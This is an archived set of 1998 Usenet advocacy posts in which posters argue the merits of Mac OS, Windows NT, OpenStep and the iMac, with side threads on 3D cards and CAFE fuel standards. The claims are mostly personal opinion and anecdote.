MJP
Date: Fri, 21 Aug 1998 19:11:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2108981911390001@elk120.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com>
In article <6rkhub$705$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-2108980750200001@wil89.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Unless you measure "better" by ease of use, productivity, or cost of
> > ownership. Then, NT falls well short of Mac OS.
> >
> > It _does_ win on buzzword compliance, though.
>
> Joe, as you probably know, I use both the Mac OS and Windows. I prefer the
> interface of the Mac OS but, other than the interface, Windows NT provides a
> much better experience for me. When I'm programming the Mac OS, my machine
> freezes several times a day. With NT, it freezes once a month. NT is faster
> than the Mac OS. NT has applications that I need that aren't available on the
> Mac OS. NT feels more responsive.
That's nice.
Of course, it has nothing to do with the topic.
Every time you actually _measure_ one OS against the others, Mac OS wins.
Your personal preference isn't very easily measurable.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 21 Aug 1998 19:09:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2108981909220001@elk120.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
In article <35DDBACB.58812391@cisco.com>, friedman@cisco.com wrote:
> Joe Ragosta wrote:
> >
> > In article <6rj375$cu3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >
> > > How do you know what operating system he's running? Maybe he's running
> > > OpenStep, BeOS or Linux. Do you think that the Mac OS is better than
all of
> > > those? Even Windows NT is decisively better than the Mac OS.
> >
> > *sigh*
> >
> > Unless you measure "better" by ease of use, productivity, or cost of
> > ownership. Then, NT falls well short of Mac OS.
>
> How is waiting for one task to complete before starting the next
> one more productive?
>
> How is having to reboot the machine several times per week more
> productive?
>
> How is having to quit some programs because I've run out of memory
> more productive?
>
> How is not being able to get the software or hardware I need more
> productive?
>
> How is not being able to find enough administrators for Mac systems
> more productive?
>
> How is a crufty old procedural API more productive?
>
> How is a single vendor solution and a lack of choice and options
> more productive?
You can pick petty little details all you want. In practice, Macs are more
productive than NT. Period.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Fri, 21 Aug 1998 20:33:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rklj0$bgo$1@nnrp1.dejanews.com>
References: <6ri2mt$3j6@newsb.netnews.att.com> <see-below-2008982046390001@dynamic13.pm03.mv.best.com>
In article <see-below-2008982046390001@dynamic13.pm03.mv.best.com>,
see-below@not-my-address.invalid (Matthew Vaughan) wrote:
> Yeah, Rage Pro is acceptable for current low-cost OEM graphics. It's
> actually quite good in most games and 3D applicatoins, though it's
> actually just about the slowest 3D currently on the market in a lot of
> games (but still good enough to not really complain about).
That would probably depend on you definition of "good" and what games you
like to play. I can't play BattleZone at full detail with my Velocity 128zx
and it's over 2x faster than the Rage Pro. I think that it's time for me to
get a Voodoo 2 card.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Fri, 21 Aug 1998 19:17:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-2108981917480001@elk120.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com>
In article <35DDD340.230E7E20@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > But if you have a CAFE that says you have to reach 29 mpg fleet average,
> > you can do that a number of different ways. Making the cars less safe is
> > only one of them.
>
> It has a net effect on the automakers' design priorities, a
> not-insignificant one. The truth is that people die because of CAFE
> standards.
Nonsense.
People die because the car makers decided to give up safety rather than
performance when meeting the CAFE standards.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 23:21:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkvdu$o0f$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net>
In article <Ey212p.6qG@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> This is certainly my hope - as my food intake relies on this!
This is also my hope but I think that it is an unrealistic hope. Despite the
superiority of the YB, current Mac OS developers have had a lot of time and
money to polish their applications. However, ff you are developing for an
emerging market then you may be able to kick some serious...
> I still don't think this is true. When every one of your apps seemlessly
> moves data about - ANY data - and they all have more features that the "big
> boys", I think the user's perspective of the system is radically different.
> I know mine was. It took me weeks to
I think that I will more annoyed with Carbon event processing than data
interaction. Not being able to move windows or access menus when the
application is busy is going to suck. Windows works like that.
> Well sure, but even I'll admit the MacOS has come a _long_ way recently in
> this regard.
In what way? It still doesn't have memory protection.
> See, that's where I disagree. I think when the average use opens one
> program to find all the powerful features from another, they will see that as
> a difference - hopefully a major one. There's a massive difference between
> having powerful word processing features in Word, and having powerful word
> processing features in FileMaker.
But a lot of Mac OS developers have added features like this during years of
development. I think that problem will be (as you mentioned) that they will
not be able to take advantage of YB data exchange especially services.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 22:10:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkr8r$imc$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net>
In article <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Gee, how long has it been since you used a Mac? I'm running OS 8.1,
> and I haven't had to reboot my machine in many months. I never run out
> of memory, and I make six figures on my non-preemptive multitasking
> Mac. I'd say you were wrong.
I'm running 8.1 and my Mac crashes a few times a day when I'm programming. I
also run out of memory frequently (I think that is because I run a lot of
applications and memory gets fragmented).
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 22:08:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkr4s$idn$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net>
In article <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> No it isn't. NT is Windows, Windows is JUNK. In fact, in many ways, NT
> isn't even as good as Win98! It certainly doesn't have the plug-n-pray
> --er--play, that win95/8 have, its not as compatible with as much
> hardware, and it won't run all the apps that Win95/8 will.
Since I've never had any hardware problems with Window 95/NT, you can imagine
how the lack of plug and play doesn't particularly bother me. Also, the Mac OS
is not as compatible with as much hardware as 95 and won't run all the apps
that 95 will. Does that mean that it is not as good?
> MacOS is the best user experience in computers. It is also the most
> productive OS. This has been proven many times.
Has the Mac OS been tested agains OpenStep?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Fri, 21 Aug 1998 16:46:06 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rl1dc$lgp$1@plo.sierra.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1>
NNTP-Posting-Date: 21 Aug 1998 23:55:24 GMT
Rob Barris wrote in message ...
>In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>> Steve Jobs: "I think also, you know, the iMac is faster than the fastest
PC
>> you can buy for any amount of money."
>>
>> Absolutely false, and thus a flat-out lie.
>
> He said that's what he thinks. Awfully clever of him. He's giving his
>competitors a golden opportunity to show him wrong, they should take him up
>on it.
I can't believe he's so stupid to actually believe he's telling the truth.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 17:46:16 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com>
In article <6rkr4s$idn$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > No it isn't. NT is Windows, Windows is JUNK. In fact, in many ways, NT
> > isn't even as good as Win98! It certainly doesn't have the plug-n-pray
> > --er--play, that win95/8 have, its not as compatible with as much
> > hardware, and it won't run all the apps that Win95/8 will.
>
> Since I've never had any hardware problems with Window 95/NT, you can imagine
> how the lack of plug and play doesn't particularly bother me. Also, the Mac OS
> is not as compatible with as much hardware as 95 and won't run all the apps
> that 95 will. Does that mean that it is not as good?
No, it's apple's and oranges. Comparing NT with it's "near twin" sibling in
terms of usability between the two has nothing whatever to do with
comparing either with the Mac. You see, we Mac users may have less ultimate
hardware or software than either, but we have what we need and then, of
course we don't have to put up with Window's lame user interface either.
I'd say that gives us an extreme advantage.
>
> > MacOS is the best user experience in computers. It is also the most
> > productive OS. This has been proven many times.
>
> Has the Mac OS been tested agains OpenStep?
OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
in its two DR releases and it is NOT as polished as MacOS. Better than
Windows maybe, but it still has more UNIX sticking out of it than it does
MacOS even though it looks and feels a lot like MacOS.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 17:49:42 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2108981749420001@sf-pm5-12-76.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net> <6rkr8r$imc$1@nnrp1.dejanews.com>
In article <6rkr8r$imc$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Gee, how long has it been since you used a Mac? I'm running OS 8.1,
> > and I haven't had to reboot my machine in many months. I never run out
> > of memory, and I make six figures on my non-preemptive multitasking
> > Mac. I'd say you were wrong.
>
> I'm running 8.1 and my Mac crashes a few times a day when I'm programming. I
> also run out of memory frequently (I think that is because I run a lot of
> applications and memory gets fragmented).
I too run a lot of applications. Its not at all unusual for me to have
Quark, Illustrator,
Word 98, and Photoshop all open at once. I don't seem to get memory
fragmentation,
and my machine certainly doesn't crash. Two different users, two different
results.
Who knows?
George Graves
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 22 Aug 1998 01:28:22 GMT
Organization: University of Maryland, College Park
Message-ID: <6rl6rm$4pr$1@hecate.umd.edu>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1>
Rob Barris (rbarris@quicksilver.com) wrote:
: In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
: <earl.malmrose@nospam.sierra.com> wrote:
: > Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
: > you can buy for any amount of money."
: >
: > Absolutely false, and thus a flat-out lie.
: He said that's what he thinks. Awfully clever of him. He's giving his
: competitors a golden opportunity to show him wrong, they should take him up
: on it.
http://www.techweb.com/wire/story/TWB19980821S0021
: Rob
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 19:08:57 -0700
Organization: UC Irvine
Message-ID: <atlauren-2108981908570001@jungleland.acs.uci.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
_3;X4o1Yg^$]=Oc\u
I'll see this question, and raise you another.
>How is a single vendor solution and a lack of choice and options
>more productive?
Simple - less to research, less to consider. I value staff time more
highly than *any* other commodity, including equipment. When buying PCs,
we have to look at a zillion different vendors, with different
RAM/disk/video options, which *maybe* are similar, and god help you if you
can get component X from a differnet vendor and install it yourself.
When buying Macs, the process is *much* simpler, takes less time, and I
don't have to deal with the nonsense of unknown vendor reliability, yadda
yadda yadda. Thus, it's the process of a single vendor makes the buying
process *much* more productive, as it's completed in a fraction of the
time.
Question:
How does crappy industrial design of a PC's internals make you more productive?
As a benchmark, on any 72/75/7600 case Mac (same as the G3 desktops), a
RAM upgrade takes 30 seconds, with starting with the machine turned off,
case closed, and all the cables plugged in. PCI card takes a bit longer,
maybe 1 minute for the screw on the plate cover. Same with an 8600 or G3
minitower case. By my estimations, whenever we have to open a case on
your average PC, it costs me between $50 and $100 in billable staff time.
(The new Toshiba desktops, with the slide-out logic board, address this
fairly well; too bad Apple did the same thing three years ago.)
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: ev515o@hotxxxmail.com (Mayor Of R'lyeh)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: City Of R'lyeh
Message-ID: <35df2f1e.115007972@news.netdirect.net>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com> <joe.ragosta-2108981917480001@elk120.dol.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sat, 22 Aug 1998 02:43:34 GMT
NNTP-Posting-Date: Fri, 21 Aug 1998 21:43:34 EDT
On Fri, 21 Aug 1998 19:17:47 -0400, joe.ragosta@dol.net (Joe Ragosta)
chose to bless us all with this bit of wisdom:
>In article <35DDD340.230E7E20@ericsson.com>, Michael Peck
><Michael.Peck@ericsson.com> wrote:
>
>> Joe Ragosta wrote:
>>
>> > But if you have a CAFE that says you have to reach 29 mpg fleet average,
>> > you can do that a number of different ways. Making the cars less safe is
>> > only one of them.
>>
>> It has a net effect on the automakers' design priorities, a
>> not-insignificant one. The truth is that people die because of CAFE
>> standards.
>
>Nonsense.
>
>People die because the car makers decided to give up safety rather than
>performance when meeting the CAFE standards.
How old are you, Joe? If you think today's typical car
has any performance in it then you must be in your early twenties.
Without the CAFE standards we'd still have safe cars. That's the
bottom line. You act as if the CAFE are something good and neccesary.
They are arbitrary and a prime example of government micro management
of an industry. Its a good thing that you like this sort of thing. If
the government gets its way and actually rapes Microsoft you're going
to see a lot of it in the computer industry.
--
"No question that an admission of making false
statements to government officials and interfering
with the FBI is an impeachable offense."
-- Bill Clinton, ARKANSAS GAZETTE, August 8, 1974,
page 7-A.
Date: Fri, 21 Aug 1998 23:07:48 -0400
From: a_fraser@one.net (Alan Fraser)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <a_fraser-2108982307480001@port-46-8.access.one.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net> <6rkr8r$imc$1@nnrp1.dejanews.com> <gmgraves-2108981749420001@sf-pm5-12-76.dialup.slip.net>
Organization: Whammer Jammer Enterprises
In article <gmgraves-2108981749420001@sf-pm5-12-76.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> I too run a lot of applications. Its not at all unusual for me to have
> Quark, Illustrator,
> Word 98, and Photoshop all open at once. I don't seem to get memory
> fragmentation,
> and my machine certainly doesn't crash. Two different users, two different
> results.
> Who knows?
Slap a bunch of shareware extensions into the system folder and you can
easily make a Mac as unreliable as a PC... <grin>
--
Alan Fraser - a_fraser@one.net
Home Page --- http://w3.one.net/~a_fraser/
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 22 Aug 1998 03:40:11 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6rleir$qsr$1@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <redgate-1908981057290001@aux163.tulsa.oklahoma.net>
redgate@oklahoma.net (Kirk Kerekes) wrote:
[ ... ]
> Guess what -- if you _think_ they are going to sound different, they will.
You can refute the null hypothesis (in this case, that the placebo effect is
causing reports of differences because people expect to hear those
differences) by conducting a properky formed DBT experiment.
I have yet to see such a thing with regard to the "green pen" effect....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 22 Aug 1998 00:38:37 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <199808220038371199207@pm2-1-10.aug.com>
